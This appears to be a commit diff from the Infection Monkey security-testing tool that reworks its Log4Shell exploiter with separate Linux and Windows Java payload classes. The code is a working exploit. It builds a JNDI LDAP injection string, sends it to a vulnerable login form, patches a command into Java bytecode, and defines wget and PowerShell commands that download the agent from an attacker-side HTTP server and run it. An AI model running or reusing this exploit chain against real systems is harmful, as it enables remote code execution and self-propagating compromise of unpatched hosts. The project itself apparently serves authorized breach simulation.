Agent: use separate java classes for windows and linux in log4shell
Linux and windows targets should use different java classes, because one is compiled to be launched in /bin/bash, another in cmd.exe. We can't just inject the whole command, because Runtime.getRuntime().exec() interprets the string in strange ways
This commit is contained in:
parent
1884c6d767
commit
e69639b426
|
@ -7,10 +7,21 @@ import requests
|
|||
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode
|
||||
from infection_monkey.exploit.log4shell_utils.exploit_builder import (
|
||||
LINUX_EXPLOIT_TEMPLATE_PATH,
|
||||
WINDOWS_EXPLOIT_TEMPLATE_PATH,
|
||||
)
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, VictimHost
|
||||
from infection_monkey.model import (
|
||||
LOG4SHELL_LINUX_COMMAND,
|
||||
LOG4SHELL_WINDOWS_COMMAND,
|
||||
MONKEY_ARG,
|
||||
VictimHost,
|
||||
)
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
@ -41,8 +52,7 @@ class Log4ShellExploiter(WebRCE):
|
|||
return False
|
||||
logger.info("Started http server on %s", http_path)
|
||||
|
||||
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
|
||||
command = self.get_command(paths["dest_path"], http_path, commands)
|
||||
command = self.build_command(paths["dest_path"], http_path)
|
||||
|
||||
java_class = self.build_java_class(command)
|
||||
class_http_server_ip = get_interface_to_target(self.host.ip_addr)
|
||||
|
@ -59,11 +69,9 @@ class Log4ShellExploiter(WebRCE):
|
|||
ldap_thread = ldap.get_run_thread()
|
||||
ldap_thread.start()
|
||||
|
||||
payload = {"uname": LDAP_PAYLOAD, "password": "m0nk3y"}
|
||||
payload = {"uname": self.build_ldap_payload(), "password": "m0nk3y"}
|
||||
try:
|
||||
response = requests.post(
|
||||
Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False
|
||||
)
|
||||
requests.post(Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False)
|
||||
except requests.ReadTimeout:
|
||||
logger.error("Couldn't send request to the vulnerable machine")
|
||||
return False
|
||||
|
@ -78,8 +86,33 @@ class Log4ShellExploiter(WebRCE):
|
|||
ldap.stop()
|
||||
return True
|
||||
|
||||
def build_ldap_payload(self):
|
||||
interface_ip = get_interface_to_target(self.host.ip_addr)
|
||||
return f"${{jndi:ldap://{interface_ip}:{Log4ShellExploiter.LDAP_PORT}/dn=Exploit}}"
|
||||
|
||||
# TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command
|
||||
def build_command(self, path, http_path):
|
||||
# Build command to execute
|
||||
monkey_cmd = build_monkey_commandline(
|
||||
self.host, get_monkey_depth() - 1, vulnerable_port=None
|
||||
)
|
||||
if "linux" in self.host.os["type"]:
|
||||
base_command = LOG4SHELL_LINUX_COMMAND
|
||||
else:
|
||||
base_command = LOG4SHELL_WINDOWS_COMMAND
|
||||
|
||||
return base_command % {
|
||||
"monkey_path": path,
|
||||
"http_path": http_path,
|
||||
"monkey_type": MONKEY_ARG,
|
||||
"parameters": monkey_cmd,
|
||||
}
|
||||
|
||||
def build_java_class(self, exploit_command: str) -> bytes:
|
||||
return build_exploit_bytecode(exploit_command)
|
||||
if "linux" in self.host.os["type"]:
|
||||
return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH)
|
||||
else:
|
||||
return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH)
|
||||
|
||||
def upload_monkey(self, url, commands=None):
|
||||
pass
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -3,7 +3,8 @@ from pathlib import Path
|
|||
|
||||
# This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce
|
||||
|
||||
EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "Exploit.class.template"
|
||||
LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template"
|
||||
WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template"
|
||||
INJECTION_TAG = "###"
|
||||
|
||||
|
||||
|
@ -11,16 +12,13 @@ class InvalidExploitTemplateError(Exception):
|
|||
pass
|
||||
|
||||
|
||||
def build_exploit_bytecode(
|
||||
payload_command: str, exploit_template_path: Path = EXPLOIT_TEMPLATE_PATH
|
||||
) -> bytes:
|
||||
def build_exploit_bytecode(payload_command: str, exploit_template_path: Path) -> bytes:
|
||||
"""
|
||||
Build a payload used to exploit log4shell
|
||||
:param str payload_command: The command that will be executed on the remote host.
|
||||
:param Path exploit_template_path: The path to a file containing a pre-compiled Java class with
|
||||
the placeholder "###". This placeholder will be overwritten
|
||||
with the contents of payload_command. Defaults to
|
||||
`EXPLOIT_TEMPLATE_PATH`
|
||||
with the contents of payload_command.
|
||||
:return: Java bytecode that will execute the payload
|
||||
:rtype: bytes
|
||||
"""
|
||||
|
@ -36,7 +34,7 @@ def _load_template_bytecode(exploit_template_path: Path) -> bytes:
|
|||
|
||||
if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"):
|
||||
raise InvalidExploitTemplateError(
|
||||
f'The file "{EXPLOIT_TEMPLATE_PATH}" is not a compiled Java class'
|
||||
f'The file "{exploit_template_path}" is not a compiled Java class'
|
||||
)
|
||||
|
||||
return template_bytecode
|
||||
|
|
|
@ -60,4 +60,16 @@ HADOOP_LINUX_COMMAND = (
|
|||
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
)
|
||||
|
||||
LOG4SHELL_LINUX_COMMAND = (
|
||||
"wget -O %(monkey_path)s %(http_path)s ;"
|
||||
" chmod +x %(monkey_path)s ;"
|
||||
" %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
# "touch /tmp/test_with_new"
|
||||
)
|
||||
|
||||
LOG4SHELL_WINDOWS_COMMAND = (
|
||||
'powershell -NoLogo -Command "'
|
||||
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; "
|
||||
' %(monkey_path)s %(monkey_type)s %(parameters)s"'
|
||||
)
|
||||
DOWNLOAD_TIMEOUT = 180
|
||||
|
|
Loading…
Reference in New Issue